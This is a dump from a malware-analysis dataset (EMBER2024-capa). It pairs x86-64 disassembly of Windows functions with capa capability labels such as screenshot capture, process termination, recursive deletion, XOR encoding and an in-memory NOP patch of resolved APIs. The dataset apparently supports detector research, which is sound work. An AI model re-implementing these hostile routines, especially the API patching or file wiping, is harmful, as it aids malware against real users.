joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400402b8
Capabilities:
Capture screenshot

Disassembly:
mov rax, rsp
push r14
sub rsp, 0x80
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov edi, r9d
mov esi, r8d
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rbx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov r8d, edi
mov edx, esi
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rbp, rax
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SelectObject]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov dword [rsp + 0x40], 0xcc0020
xor r14d, r14d
mov dword [rsp + 0x38], r14d
mov dword [rsp + 0x30], r14d
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], edi
mov r9d, esi
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.GDI32.dll_BitBlt]
lea edi, [r14 + 7]
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x68], r14
mov word [rsp + 0x58], r14w
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rbx, qword [rsp + 0xb0]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.140001e28
lea r9, [rsp + 0x58]
mov rcx, rbp
call fcn.1400403d4
mov rcx, rbp
call qword [sym.imp.GDI32.dll_DeleteObject]
nop
cmp qword [rbx + 0x18], 8
jb 0x14004039f
mov rcx, qword [rbx]
call fcn.1400208dc
mov qword [rbx + 0x18], rdi
mov qword [rbx + 0x10], r14
mov word [rbx], r14w
mov al, 1
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret

Function at 0x14004097c
Capabilities:
Enumerate device drivers on windows

Disassembly:
mov r11, rsp
sub rsp, 0x58
mov qword [r11 - 0x38], 0xfffffffffffffffe
mov qword [r11 - 0x18], 7
xor eax, eax
mov qword [r11 - 0x20], rax
mov word [rsp + 0x28], ax
lea r8d, [rax + 0x19]
lea rdx, str.driverquery___Drivers.txt
lea rcx, [r11 - 0x30]
call fcn.140001b58
nop
lea rcx, [rsp + 0x28]
call fcn.140040a9c
nop
cmp qword [rsp + 0x40], 8
jb 0x1400409d0
mov rcx, qword [rsp + 0x28]
call fcn.1400208dc
add rsp, 0x58
ret

Function at 0x140040a9c
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov r8, rcx
lea rdx, [0x14005bd48]
lea rcx, [rbp - 0x39]
call fcn.1400063e4
xor edx, edx
lea rcx, [rbp - 0x15]
lea r8d, [rdx + 0x6c]
call fcn.140023a90
cmp qword [rbp - 0x21], 8
lea rax, [0x14005bd50]
mov qword [rbp - 9], rax
lea rax, str.cmd.exe
lea rcx, [rbp - 0x19]
mov qword [rbp - 1], rax
lea rax, [rbp - 0x39]
mov dword [rbp - 0x19], 0x70
cmovae rax, qword [rbp - 0x39]
xor ebx, ebx
mov dword [rbp - 0x15], 0x40
mov qword [rbp + 7], rax
mov dword [rbp + 0x17], ebx
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x140040b32
mov rcx, qword [rbp + 0x4f]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x4f]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
cmp qword [rbp - 0x21], 8
jb 0x140040b42
mov rcx, qword [rbp - 0x39]
call fcn.1400208dc
mov al, bl
mov rbx, qword [rsp + 0xc0]
add rsp, 0xb0
pop rbp
ret
Function at 0x140040e14
Capabilities:
Copy file

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
mov rdi, rdx
mov edx, 0x5c
mov rbx, rcx
call fcn.14002339c
test rax, rax
je 0x140040e65
lea r9, [rax + 2]
lea rdx, [0x14005bc38]
lea rcx, [rsp + 0x20]
mov r8, rdi
call qword [0x140070dd0]
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
setne al
mov rbx, qword [rsp + 0x240]
add rsp, 0x230
pop rdi
ret
Function at 0x140046098
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400460c5
xor al, al
jmp 0x14004611e
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor edi, edi
test eax, eax
je 0x140046112
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14002344c
test eax, eax
je 0x14004610f
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400460e1
mov rcx, rbx
call qword [0x140070d98]
jmp 0x1400460c1
mov dil, 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, dil
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400466c4
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x260
mov rbx, rdx
mov rsi, rcx
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x140046701
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14004676d
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140046722
add rax, 2
test r8d, r8d
jne 0x14004670c
test ecx, ecx
jne 0x140046752
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140046752
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [0x140070d98]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140046701
mov rcx, rbx
call qword [0x140070d98]
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140046c88
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x598]
sub rsp, 0x690
lea r8, [rbp + 0x380]
mov rdi, rcx
mov rdx, rcx
sub r8, rcx
xor esi, esi
movzx eax, word [rdx]
mov word [r8 + rdx], ax
lea rdx, [rdx + 2]
test ax, ax
jne 0x140046cb8
lea rcx, [rbp + 0x380]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140046cd4
mov eax, dword [0x14005d80c]
lea rdx, [rsp + 0x20]
mov dword [rcx], eax
movzx eax, word [0x14005d810]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x380]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140046e11
movzx ecx, word [rsp + 0x4c]
movzx eax, word [rsp + 0x4e]
cmp cx, word [0x14005ad1c]
jne 0x140046d2f
cmp ax, word [0x14005ad1e]
je 0x140046dd9
cmp cx, word [0x14005d814]
jne 0x140046d53
cmp ax, word [0x14005d816]
jne 0x140046d53
movzx eax, word [rsp + 0x50]
cmp ax, word [0x14005d818]
je 0x140046dd9
lea rdx, [rbp + 0x170]
mov rcx, rdi
sub rdx, rdi
movzx eax, word [rcx]
mov word [rdx + rcx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x140046d60
lea rcx, [rbp + 0x170]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140046d7b
mov eax, dword [0x14005ad34]
mov dword [rcx], eax
lea rcx, [rbp + 0x170]
sub rcx, 2
lea rcx, [rcx + 2]
cmp word [rcx], si
jne 0x140046d97
lea r8, [rsp + 0x4c]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x140046da7
test byte [rsp + 0x20], 0x10
lea rcx, [rbp + 0x170]
je 0x140046dcf
call fcn.140046c88
test al, al
jmp 0x140046dd7
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140046e08
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140046d0f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
setne al
jmp 0x140046e13
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
xor al, al
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140048cb8
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
mov byte [rax + 0x20], r9b
mov qword [rax + 0x10], rdx
push rbp
push rsi
push rdi
lea rbp, [rax - 0xe8]
sub rsp, 0x1d0
mov qword [rbp - 0x80], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov rdi, r8
mov rsi, rcx
lea r8, str..
lea rcx, [rsp + 0x20]
call fcn.140017894
nop
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 0x10
cmovae rcx, qword [rsp + 0x20]
lea rdx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140048e00
mov dl, byte [rbp - 0x44]
mov cl, byte [rbp - 0x43]
cmp dl, byte [0x14005b804]
jne 0x140048d3a
cmp cl, byte [0x14005b805]
je 0x140048de1
cmp dl, byte [0x14005b814]
jne 0x140048d59
cmp cl, byte [0x14005b815]
jne 0x140048d59
mov al, byte [rbp - 0x42]
cmp al, byte [0x14005b816]
je 0x140048de1
lea r8, [0x14005b824]
mov rdx, qword [rbp + 0xf8]
lea rcx, [rsp + 0x40]
call fcn.140017894
nop
lea r8, [rbp - 0x44]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.1400063b4
nop
cmp qword [rsp + 0x58], 0x10
jb 0x140048d96
mov rcx, qword [rsp + 0x40]
call fcn.1400208dc
mov qword [rsp + 0x58], 0xf
and qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
mov r8, rdi
lea rdx, [rsp + 0x60]
mov rcx, rsi
test byte [rbp - 0x70], 0x10
je 0x140048dc9
mov r9b, byte [rbp + 0x108]
call fcn.140048cb8
jmp 0x140048dcf
call fcn.140048e2c
nop
cmp qword [rsp + 0x78], 0x10
jb 0x140048de1
mov rcx, qword [rsp + 0x60]
call fcn.1400208dc
lea rdx, [rbp - 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140048d20
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
cmp qword [rsp + 0x38], 0x10
jb 0x140048e12
mov rcx, qword [rsp + 0x20]
call fcn.1400208dc
mov rbx, qword [rsp + 0x1f0]
add rsp, 0x1d0
pop rdi
pop rsi
pop rbp
ret
Function at 0x140048e2c
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
mov eax, 0x3cc0
call fcn.140023bb0
sub rsp, rax
mov r8, qword [r8 + 0x10]
mov rbx, rdx
mov rsi, rcx
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.14001785c
cmp qword [rbx + 0x18], 0x10
jb 0x140048e65
mov rbx, qword [rbx]
lea rdx, [0x14005b7f4]
mov rcx, rbx
call fcn.1400236e8
mov rbx, rax
test rax, rax
je 0x140048f57
xor edx, edx
lea rcx, [rsp + 0x70]
lea r8d, [rdx + 0x24]
call fcn.140023a90
cmp qword [rsp + 0x68], 0x10
lea rdx, [rsp + 0x50]
cmovae rdx, qword [rsp + 0x50]
or dword [rsp + 0x48], 0xffffffff
mov dword [rsp + 0x40], 8
and qword [rsp + 0x38], 0
and dword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor r9d, r9d
mov rcx, rsi
call fcn.140019ee0
test eax, eax
jne 0x140048f4f
lea rcx, [rsp + 0xa0]
mov r9, rbx
mov edx, 1
mov r8d, 0x3c18
call fcn.140023914
mov rdi, rax
cmp rax, 0x3c18
jae 0x140048f16
mov rcx, rbx
call fcn.1400235c0
test eax, eax
jne 0x140048f34
mov rcx, rbx
call fcn.1400235e8
test eax, eax
jne 0x140048f47
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140018de0
test eax, eax
js 0x140048f47
test rdi, rdi
je 0x140048f47
jmp 0x140048ed8
lea rdx, [rsp + 0xa0]
mov r8d, edi
mov rcx, rsi
call fcn.140018de0
mov rcx, rsi
call fcn.140019700
mov rcx, rbx
call fcn.140022624
cmp qword [rsp + 0x68], 0x10
jb 0x140048f69
mov rcx, qword [rsp + 0x50]
call fcn.1400208dc
lea r11, [rsp + 0x3cc0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14000992c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov dil, byte [0x1400230e8]
mov rbx, rcx
call fcn.14000b2a0
cmp qword [rbx + 0x18], 0xf
jbe 0x140009954
mov rdx, qword [rbx]
mov rcx, rdx
jmp 0x14000995a
mov rcx, rbx
mov rdx, rbx
mov r8, qword [rbx + 0x10]
add r8, rcx
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x14000996e
mov rcx, qword [rbx]
cmp rcx, r8
je 0x140009986
sub rdx, rcx
mov al, dil
xor al, byte [rcx]
mov byte [rdx + rcx], al
inc rcx
cmp rcx, r8
jne 0x140009976
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
Function at 0x14000aacc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x20
mov rbx, rcx
lea rcx, [0x140008898]
call qword [rbx]
lea rcx, [0x1400088a8]
mov rbp, rax
call qword [rbx]
lea rcx, [0x1400088b8]
mov rdi, rax
call qword [rbx]
mov rsi, rax
test rbp, rbp
je 0x14000ac07
test rdi, rdi
je 0x14000ac07
test rax, rax
je 0x14000ac07
lea rdx, [0x1400088c8]
mov rcx, rbp
call qword [rbx + 8]
lea rdx, [0x1400088d8]
mov rcx, rdi
mov r14, rax
call qword [rbx + 8]
lea rdx, [0x1400088e8]
mov rcx, rsi
mov rdi, rax
call qword [rbx + 8]
mov rbx, rax
test r14, r14
je 0x14000ac07
test rdi, rdi
je 0x14000ac07
test rax, rax
je 0x14000ac07
mov ebp, 0x40
lea r9, [rsp + 0x40]
mov r8d, ebp
mov rcx, r14
lea r15d, [rbp - 0x3e]
mov edx, r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov esi, 0x9090
mov edx, r15d
mov rcx, r14
mov word [r14], si
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x40]
mov r8d, ebp
mov edx, r15d
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov edx, r15d
mov word [rdi], si
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea r9, [rsp + 0x40]
mov r8d, ebp
mov edx, r15d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov edx, r15d
mov word [rbx], si
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop rdi
ret
Function at 0x14000af10
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x248
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r8d, 0x104
lea rdx, [rsp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x130]
call fcn.14000d828
test rax, rax
jne 0x14000af5b
call fcn.14000ac20
jmp 0x14000af6a
call fcn.140009b50
call fcn.14000a0c8
call fcn.14000a564
xor eax, eax
add rsp, 0x248
ret

Function at 0x14000c544
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c58e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c58e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c58e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c58e
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c58e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c590
xor al, al
add rsp, 0x28
ret

Function at 0x140012648
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400126b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400126b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400126b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400126b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400126b7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400126b7
cmp dword [rcx + 0xf8], 0
je 0x1400126b7
mov ecx, ebx
call fcn.140012768
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140012544
nop
cmp dword [rbp + 0x20], 0
je 0x140012705
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140012710
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140012648

Function at 0x14001284c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140012648
Function at 0x1400168fc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14001692c
xor eax, eax
jmp 0x1400169ef
mov rbp, rbx
cmp word [rax], si
je 0x140016951
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140016938
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140016934
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14001681c
movsxd r14, eax
test eax, eax
jne 0x14001698f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140016925
mov rcx, r14
call fcn.1400177d8
mov rdi, rax
test rax, rax
jne 0x1400169a8
xor ecx, ecx
call fcn.140013360
jmp 0x140016984
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14001681c
test eax, eax
jne 0x1400169d9
mov rcx, rdi
call fcn.140013360
jmp 0x1400169e3
xor ecx, ecx
call fcn.140013360
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001a1c8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140014210
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001a252
cmp byte [rbp - 0x21], r15b
je 0x14001a24d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001a288
call fcn.140014c88
test eax, eax
jne 0x14001a274
cmp byte [rbp - 0x21], r15b
je 0x14001a26c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001a288
cmp byte [rbp - 0x21], r15b
je 0x14001a285
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140014094
test eax, eax
jne 0x14001a328
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140014210
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001a2c7
cmp byte [rbp - 0x21], r15b
je 0x14001a2fc
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001a2fc
call fcn.140014c88
test eax, eax
jne 0x14001a2e8
cmp byte [rbp - 0x21], r15b
je 0x14001a2e1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001a2fc
cmp byte [rbp - 0x21], r15b
je 0x14001a2f9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140014094
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001a328
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001a32b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001a339
mov rcx, rdi
call fcn.140013360
cmp byte [rbp + 0x3f], r15b
je 0x14001a348
mov rcx, qword [rbp + 0x27]
call fcn.140013360
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14001d0d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001d0f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001d0f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14000b9fc
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call qword [sym.imp.api_ms_win_core_debug_l1_1_0.dll_IsDebuggerPresent]
mov ecx, 1
mov dword [0x140016950], eax
call fcn.14000b77c
xor ecx, ecx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_errorhandling_l1_1_0.dll_UnhandledExceptionFilter]
cmp dword [0x140016950], 0
jne case.default.0x14000ba52
mov ecx, 1
call fcn.14000b77c
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_TerminateProcess]
movsd dword [rdi], dword [rsi]
jle 0x140023312
jmp qword [rdx + rcx*8 - 0x42f0c470]
movsb byte [rdi], byte [rsi]
retf 0x3b90
Function at 0x14001a8a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x14001aa2b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [str.xA_]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.1400392c0
xorps xmm15, xmm15
mov r14, qword [0x140a20bb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x14001a905
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x14001a914
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x14001a933
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x14001a943
cmp rbx, 0x1000
jae 0x14001a90b
jmp 0x14001a9ad
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x14001a955
xor edx, edx
jmp 0x14001a9a4
mov rcx, qword [str.xA_]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.1400392c0
xorps xmm15, xmm15
mov r14, qword [0x140a20bb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x14001a939
jmp 0x14001a928
call fcn.14006d540
xorps xmm15, xmm15
mov r14, qword [0x140a20bb8]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.14003d9a0
lea rax, [0x1405a2cac]
mov ebx, 0x18
nop dword [rax]
call fcn.14003e220
mov rax, qword [rsp + 0x38]
call fcn.14003df60
lea rax, [0x1405a3abd]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.14003e220
mov rax, qword [rsp + 0x30]
call fcn.14003df60
call fcn.14003dbe0
call fcn.14003da00
lea rax, [0x1405a98e2]
mov ebx, 0x21
call fcn.14003c000
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.140069e00
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.14001a8a0